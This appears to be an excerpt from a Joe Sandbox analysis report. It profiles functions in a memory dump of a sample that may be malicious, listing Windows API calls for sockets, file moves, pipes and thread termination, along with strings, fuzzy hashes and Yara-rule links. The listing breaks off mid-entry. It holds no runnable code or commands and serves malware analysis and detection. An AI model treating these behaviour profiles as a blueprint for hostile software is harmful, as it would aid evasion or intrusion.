Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 816567690dab781599f7e83c8a538ce169c44b47460a7a511aff343ac3be2744
Instruction ID: bdade80011e780ed71c2a604a3211a4e6b426a2553124d629d4f77e7fa25572c
Opcode Fuzzy Hash: 816567690dab781599f7e83c8a538ce169c44b47460a7a511aff343ac3be2744
Instruction Fuzzy Hash: 0851C370A00609DFDB20CFA8D885BEEBBFAEF59300F14415AF555E7291D7309A81CB60

Function 00B02D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B02D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00B02D53
_ValidateLocalCookies.LIBCMT ref: 00B02DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00B02E0C
_ValidateLocalCookies.LIBCMT ref: 00B02E61

Strings

csm, xrefs: 00B02DF6

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0c9c437713006f3712afe4743a83269636f59dc0fc5d909afa83749a1aef252f
Instruction ID: 522c6dcb9feef33d2e3e3385f073864a6a96867616c02a79bce78df165d9e9d8
Opcode Fuzzy Hash: 0c9c437713006f3712afe4743a83269636f59dc0fc5d909afa83749a1aef252f
Instruction Fuzzy Hash: D4416234A00209ABCF10DF68C859A9EBFE5FF45354F1481E5E8156B2D2D7719E19CB90

Function 00B610B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00B6307A
Part of subcall function 00B6304E: _wcslen.LIBCMT ref: 00B6309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00B61112
WSAGetLastError.WSOCK32 ref: 00B61121
WSAGetLastError.WSOCK32 ref: 00B611C9
closesocket.WSOCK32(00000000), ref: 00B611F9

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: b8f65cadba2329e44313b9141546a9029b3861672f9fc16964553417f05fb6a9
Instruction ID: 079005f31eac2f6a14e9a394e5b0592a5e0e8e39782ec008e1f1d0a275e86e32
Opcode Fuzzy Hash: b8f65cadba2329e44313b9141546a9029b3861672f9fc16964553417f05fb6a9
Instruction Fuzzy Hash: F841EB316002049FDB109F18C885BA9BBE9EF45324F18849DFD19AB291CB74ED81CBE1

Function 00B4CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B4CF22,?), ref: 00B4DDFD

Part of subcall function 00B4DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B4CF22,?), ref: 00B4DE16

lstrcmpiW.KERNEL32(?,?), ref: 00B4CF45
MoveFileW.KERNEL32(?,?), ref: 00B4CF7F
_wcslen.LIBCMT ref: 00B4D005
_wcslen.LIBCMT ref: 00B4D01B
SHFileOperationW.SHELL32(?), ref: 00B4D061

Strings

\*.*, xrefs: 00B4CFF3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: ba77d1bf9c6792de61f573d95097bac295d83c1ad6e6cf48af6d4346846c842d
Instruction ID: b07d233421319debe349ab9268f03875d1a5204024aa774a6dd8c6e2eb16e676
Opcode Fuzzy Hash: ba77d1bf9c6792de61f573d95097bac295d83c1ad6e6cf48af6d4346846c842d
Instruction Fuzzy Hash: ED4148719452185FDF52EFA4D981ADEBBF9EF04740F1000E6E509E7141EB35A788DB50

Function 00B72DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B72E1C
GetWindowLongW.USER32(?,000000F0), ref: 00B72E4F
GetWindowLongW.USER32(?,000000F0), ref: 00B72E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B72EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B72EE0
GetWindowLongW.USER32(?,000000F0), ref: 00B72EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B72F0B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: acc62077a2a4c72de24186af75be6aeacee7559992bcd97ca1330ef618f3ca63
Instruction ID: df36af4d6a726d2fdfe551085934bb90f1e4cb2f01b82dc37e84489512819b74
Opcode Fuzzy Hash: acc62077a2a4c72de24186af75be6aeacee7559992bcd97ca1330ef618f3ca63
Instruction Fuzzy Hash: A2310330604250AFEB21CF58DC95F653BE1EB9A710F1541A8F9699F2B2CB71E881DB41

Function 00B47726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B47769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B4778F
SysAllocString.OLEAUT32(00000000), ref: 00B47792
SysAllocString.OLEAUT32(?), ref: 00B477B0
SysFreeString.OLEAUT32(?), ref: 00B477B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00B477DE
SysAllocString.OLEAUT32(?), ref: 00B477EC

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 2ce29132ebaa8667ce2680e8db50c063cd30eb600782cedcd8f6bf4b62150b46
Instruction ID: ba51201d5ab98394189c5b2f532626ef196b076da53220195c584a522d5f0b2c
Opcode Fuzzy Hash: 2ce29132ebaa8667ce2680e8db50c063cd30eb600782cedcd8f6bf4b62150b46
Instruction Fuzzy Hash: 5921AE76604219AFDB10DFA8CC88CBB77ECEB093647408069FA19DB260DB70DD81D7A0

Function 00B477FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B47842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B47868
SysAllocString.OLEAUT32(00000000), ref: 00B4786B
SysAllocString.OLEAUT32 ref: 00B4788C
SysFreeString.OLEAUT32 ref: 00B47895
StringFromGUID2.OLE32(?,?,00000028), ref: 00B478AF
SysAllocString.OLEAUT32(?), ref: 00B478BD

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: e1eb0a8229455dee08b664b76685cab3fb6145cc9c0854c830d1cb596a22fe78
Instruction ID: 920f6e8286b738a2df67e68ef505be9aab29cd5512c94567e0cb882ba11fb970
Opcode Fuzzy Hash: e1eb0a8229455dee08b664b76685cab3fb6145cc9c0854c830d1cb596a22fe78
Instruction Fuzzy Hash: 10217F31608208AFDB10AFA9DC8CDBA77ECEB097607108169F915DB2A1DF74DD81DB64

Function 00B504D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00B504F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B5052E

Strings

nul, xrefs: 00B50567

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: bc396417d2aa7248e7d4c45c85a9e57dfd377b615b8e8bb8edd255291d5d06fc
Instruction ID: b0a322960d74fbbfbb7f9960ddcee810b0ec7231ce1fb9f9000bb0d8230064b1
Opcode Fuzzy Hash: bc396417d2aa7248e7d4c45c85a9e57dfd377b615b8e8bb8edd255291d5d06fc
Instruction Fuzzy Hash: 742171715103059BDB20AF29E884B9A7BF4EF54725F204A99FCA1E71E0E7709948CF20

Function 00B505A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00B505C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B50601

Strings

nul, xrefs: 00B50639

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: f9625cdb4981ab74cea3fca3809c3e17fe7aa20c3be8949f4d4ed3a7ddc19f50
Instruction ID: edd9f7a3b212bb39ba15b3ba441f32aeeac6a15f6b1fd4b1f2792da49e3a2ea5
Opcode Fuzzy Hash: f9625cdb4981ab74cea3fca3809c3e17fe7aa20c3be8949f4d4ed3a7ddc19f50
Instruction Fuzzy Hash: AB2191755103059BDB20AF68DC44B5A77E4EF95721F200ADDECA2E32E0DBB09965CB10

Function 00B740AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00AE604C
Part of subcall function 00AE600E: GetStockObject.GDI32(00000011), ref: 00AE6060
Part of subcall function 00AE600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00AE606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00B74112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00B7411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00B7412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00B74139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00B74145

Strings

Msctls_Progress32, xrefs: 00B740E3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: d0ea3b157503c284e1ed1f75ab34f9b51607ac8e2a0a5d365a20b0b4e8052fbb
Instruction ID: 4e305e77c08304cdbe0a473ab3c602dc5cbf886e9c28e8bd4f52c8d51c835656
Opcode Fuzzy Hash: d0ea3b157503c284e1ed1f75ab34f9b51607ac8e2a0a5d365a20b0b4e8052fbb
Instruction Fuzzy Hash: F611B2B2140219BEEF119F64CC85EE77F9DEF08798F008110FA28A6050CB72DC61DBA4

Function 00B1D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B1D7A3: _free.LIBCMT ref: 00B1D7CC

_free.LIBCMT ref: 00B1D82D

Part of subcall function 00B129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000), ref: 00B129DE
Part of subcall function 00B129C8: GetLastError.KERNEL32(00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000,00000000), ref: 00B129F0

_free.LIBCMT ref: 00B1D838
_free.LIBCMT ref: 00B1D843
_free.LIBCMT ref: 00B1D897
_free.LIBCMT ref: 00B1D8A2
_free.LIBCMT ref: 00B1D8AD
_free.LIBCMT ref: 00B1D8B8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 81fb24470f866d0373dcb5ed78876de85904b33b58d4140b5bb7926aa1e957f7
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 92116071540B04BAD621BFF0CC47FCB7BDCAF00710FC40865B299AA1D2DAB5B9A58760

Function 00B4DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00B4DA74
LoadStringW.USER32(00000000), ref: 00B4DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00B4DA91
LoadStringW.USER32(00000000), ref: 00B4DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B4DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00B4DAB9

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: bf7fe09706c9a09f6725de06d2bc5288c2e1d40ebc0798a2e7591d154afefdbc
Instruction ID: 822e11e55f7aa05124c9c60f81552c5e8091fdaa98ca68ada35018e80a87c69e
Opcode Fuzzy Hash: bf7fe09706c9a09f6725de06d2bc5288c2e1d40ebc0798a2e7591d154afefdbc
Instruction Fuzzy Hash: F60162F25002087FE751ABA09D89EE73BACE708701F4044ADB71AE3041EA749EC44F74

Function 00B5096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(00C2EC60,00C2EC60), ref: 00B5097B
EnterCriticalSection.KERNEL32(00C2EC40,00000000), ref: 00B5098D
TerminateThread.KERNEL32(?,000001F6), ref: 00B5099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00B509A9
CloseHandle.KERNEL32(?), ref: 00B509B8
InterlockedExchange.KERNEL32(00C2EC60,000001F6), ref: 00B509C8
LeaveCriticalSection.KERNEL32(00C2EC40), ref: 00B509CF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: aba05f1381e9a0020a77bf30340ce8ef62b2a0e867e2b0292978759f331d542f
Instruction ID: 5bfa2cf154d61f309d31db2f42f747b29019f247fa34f413755d209ae407077c
Opcode Fuzzy Hash: aba05f1381e9a0020a77bf30340ce8ef62b2a0e867e2b0292978759f331d542f
Instruction Fuzzy Hash: 1BF03132442502BBE7415F94EE8CBD6BF35FF01702F50106DF206628A5CB7494A5CF90

Function 00AE5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00AE5D30
GetWindowRect.USER32(?,?), ref: 00AE5D71
ScreenToClient.USER32(?,?), ref: 00AE5D99
GetClientRect.USER32(?,?), ref: 00AE5ED7
GetWindowRect.USER32(?,?), ref: 00AE5EF8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 4a7fc5cbf992b37be1e927e0048f517a983efda8e882a40dd8fb826d77409653
Instruction ID: 72611be65518cd44f6675896467e9b030027e4223cacd950a512e61bcc1a3f32
Opcode Fuzzy Hash: 4a7fc5cbf992b37be1e927e0048f517a983efda8e882a40dd8fb826d77409653
Instruction Fuzzy Hash: 08B16838A1068ADBDB14CFB9D4807EEB7F1FF48314F14841AE8A9D7650DB34AA51DB50

Function 00B101B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00B100BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B100D6
__allrem.LIBCMT ref: 00B100ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B1010B
__allrem.LIBCMT ref: 00B10122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B10140

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction ID: 2bd686b6db21ec029435805e4a330d1b4d21a2d35261e4854188b988ddd3d646
Opcode Fuzzy Hash: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction Fuzzy Hash: 1B811572B01707ABE720AF28CC81BAB77E8EF45324F6445BAF551D66C1EBB4D9808750

Function 00B61D10 Relevance: 9.3, APIs: 6, Instructions: 254networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00B63149: select.WSOCK32(00000000,?,00000000,00000000,?,?,?,00000000,?,?,?,00B6101C,00000000,?,?,00000000), ref: 00B63195

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00B61DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00B61DE1
WSAGetLastError.WSOCK32 ref: 00B61DF2
inet_ntoa.WSOCK32(?), ref: 00B61E8C
htons.WSOCK32(?,?,?,?,?), ref: 00B61EDB
_strlen.LIBCMT ref: 00B61F35

Part of subcall function 00B439E8: _strlen.LIBCMT ref: 00B439F2

Part of subcall function 00AE6D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000002,?,?,?,?,00AFCF58,?,?,?), ref: 00AE6DBA
Part of subcall function 00AE6D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,00AFCF58,?,?,?), ref: 00AE6DED

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ByteCharMultiWide_strlen$ErrorLasthtonsinet_ntoaselect
String ID:
API String ID: 1923757996-0
Opcode ID: b461e44bf775578f270b84b94ebf4f3e9a842da5e0f1f45c53dda4d06d03c08b
Instruction ID: 690daee7ee898fdc3a366ba4c1a2aff3214283a1438deb8cb47f0cdab38172b0
Opcode Fuzzy Hash: b461e44bf775578f270b84b94ebf4f3e9a842da5e0f1f45c53dda4d06d03c08b
